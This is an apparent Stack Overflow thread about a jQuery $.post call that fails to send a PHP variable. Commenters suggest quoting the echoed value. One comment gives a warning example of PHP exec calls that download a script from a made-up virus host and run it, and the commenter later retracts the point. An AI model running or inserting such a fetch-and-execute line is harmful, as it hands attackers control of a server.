Using jQuery to POST to MySQL on Click

Question

I'm trying to use jQuery to post a variable to a MySQL/PHP query. I have a button, class="button" and the button code is:

$(".button").click(function(e){
  e.preventDefault();
  $.post("some.php", { var_today : <?php echo $new_var; ?> });
});

using:

if(isset($_POST['var_today'])){
echo $_POST['var_today'];
}

on my php page, and I get undefined index: var_today

the class button tag has an onclick="window.open('') attached to it, and once it's clicked, I get "undefined index" as the var_today is not being posted, what have I written wrong here?

add quotes around the value for var_today... IE var_today : "<?php echo $new_var; ?> — NDBoost
– NDBoost, Commented Apr 13, 2012 at 15:02
Also there is no need for an onclick="" attribute, as that's essentially what the jQuery.click() method is. — Dunhamzzz
– Dunhamzzz, Commented Apr 13, 2012 at 15:02
This isn't an answer, and maybe I'm misunderstanding your code, but note that you should never execute any code obtained as a result of a Javascript call. It would be trivial for an attacker to replace <?php echo $new_var;?> with <?php exec("wget http://myvirus.com/virus.sh"); exec("./virus.sh"); ?> — Jeff Allen
– Jeff Allen, Commented Apr 13, 2012 at 15:06
@JeffAllen: Yes, you are very much misunderstanding the code. PHP is server-side and JavaScript is client-side. The <?php echo $new_var;?> is executed by the server, it prints a string. All the browser sees is the output of the echo. A user visiting the site does not see the PHP code, only what it outputs. There's no way for an attacker to replace the PHP code with something, unless they had access to your server. If they did, you'd have bigger issues to worry about. — gen_Eric
– gen_Eric, Commented Apr 13, 2012 at 15:11
Right -- misunderstood the context. I was envisioning this being placed in a rendered HTML document, in which case the client would be sending the string "<?php ... ?>" to the server, presumably with the expectation that the server would execute that code (which would be silly). Of course, if this is going into a PHP script, then it will be executed before getting rendered in HTML. In that case, after having completely discredited myself, I recommend @Robert's answer. — Jeff Allen
– Jeff Allen, Commented Apr 13, 2012 at 15:17

Robert Louis Murphy · Accepted Answer · 2012-04-13 15:02:20Z

3

You need to quote your value:

$.post("some.php", { var_today : "<?php echo $new_var; ?>" },

answered Apr 13, 2012 at 15:02

Robert Louis Murphy

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5 Comments

Chad W Over a year ago

I thank you for the quick response, but that does not change the undefined index, as the value is not being posted, i have another page using the setInterval function using a php variable and it works fine. I've also tried an alert once I click the button, nothing..

Robert Louis Murphy Over a year ago

Show us your some.php PHP, or are you using firebug to verify your post? Also, have you defined a javascript function called returned?

Chad W Over a year ago

the query is just a select all from tbl where regexp^var_today. I do not have a returned as I don't need anything back, just the popup to perform the query and display

Chad W Over a year ago

I do not use the returned and have removed it to just a post statement

Chad W Over a year ago

I have added a success function called feedback, it's only job is to make an alert window stating sent, that works now as I moved the code up above the title tag just below head, still no posted data though

gen_Eric · Accepted Answer · 2012-04-13 15:07:24Z

0

{ var_today : "<?php echo $new_var; ?>" }

This should work.

edited Apr 13, 2012 at 15:07

gen_Eric

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answered Apr 13, 2012 at 15:03

Sandeep Rajoria

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Comments

Anthony · Accepted Answer · 2012-07-18 04:34:31Z

0

Try this:

$(".button").click(function(e){
  e.preventDefault();
  $.post("some.php", { var_today: ""});
});

edited Jul 18, 2012 at 4:34

Anthony

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answered Apr 13, 2012 at 15:02

Churk

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6 Comments

gen_Eric Over a year ago

How would that help? He wants to post the value, not a blank string.

Churk Over a year ago

Look at the edit log, when I started writing the answer, <?php echo $new_var; ?> was not added by Jon yet, so I assume his example was to pass anything as long as the function works

gen_Eric Over a year ago

Ah, yes, the original question did not show the PHP tags. :-P

Chad W Over a year ago

@Rocket odd, it shows in mine, regardless I had tried that option first except included the php echo, undefined index

gen_Eric Over a year ago

@ChadW: When posting code, you need to highlight it and click the {} button in the toolbar to format it correctly (there's a live preview under the textbox to show you exactly what the post looks like). Also, where are you getting an "undefined index" In PHP or in JavaScript?

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